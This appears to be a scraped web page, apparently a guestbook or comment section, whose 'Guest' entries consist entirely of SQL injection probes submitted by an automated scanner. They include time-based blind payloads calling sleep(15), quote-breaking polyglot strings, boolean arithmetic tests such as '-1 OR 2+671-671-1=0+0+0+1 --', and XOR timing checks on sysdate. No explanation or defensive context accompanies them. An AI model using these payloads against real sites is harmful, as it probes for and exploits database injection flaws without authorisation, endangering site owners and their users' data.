Guest:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/


Guest:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/


-1 OR 2+671-671-1=0+0+0+1 --

-1 OR 2+101-101-1=0+0+0+1

-1' OR 2+823-823-1=0+0+0+1 --

-1' OR 2+618-618-1=0+0+0+1 or 'fTTVFteF'='

-1" OR 2+104-104-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z